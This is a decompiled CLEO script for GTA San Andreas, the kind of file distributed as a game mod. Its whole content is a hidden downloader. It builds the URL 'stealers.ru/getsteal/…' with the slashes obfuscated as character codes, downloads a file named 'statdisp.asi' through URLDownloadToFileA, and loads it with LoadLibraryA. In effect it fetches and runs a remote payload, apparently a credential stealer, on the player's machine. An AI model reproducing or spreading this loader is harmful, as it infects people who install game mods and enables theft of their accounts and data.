// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP
wait 3000
if
0AAB:   file_exists "statdisp.asi"
else_jump @NONAME_34

:NONAME_34
0AC8: 1@ = allocate_memory_size 256
0AC8: 2@ = allocate_memory_size 256
0AC8: 4@ = allocate_memory_size 128
0AD3: 2@ = format "statdisp.asi"
0AD3: 1@ = format "https:%c%cstealers.ru/getsteal/00045216" 47 47
0AB1: call_scm_func @NONAME_260 2 2@ 1@ 3@

:NONAME_148
wait 0
0AAB:   file_exists "statdisp.asi"
else_jump @NONAME_148
0AC9: free_allocated_memory 1@
0AC9: free_allocated_memory 2@
0AC9: free_allocated_memory 4@
0AA2: 31@ = load_library "Kernel32.dll" // IF and SET
0AA4: 30@ = get_proc_address "LoadLibraryA" library 31@ // IF and SET
0AA7: call_function 30@ num_params 1 pop 0 "statdisp.asi" 29@
end_thread

:NONAME_260
0AA2: 10@ = load_library "Urlmon.dll" // IF and SET
0AA4: 11@ = get_proc_address "URLDownloadToFileA" library 10@ // IF and SET
0AA7: call_function 11@ num_params 5 pop 0 0 0 0@ 1@ 0 12@
0AB2: ret 1 12@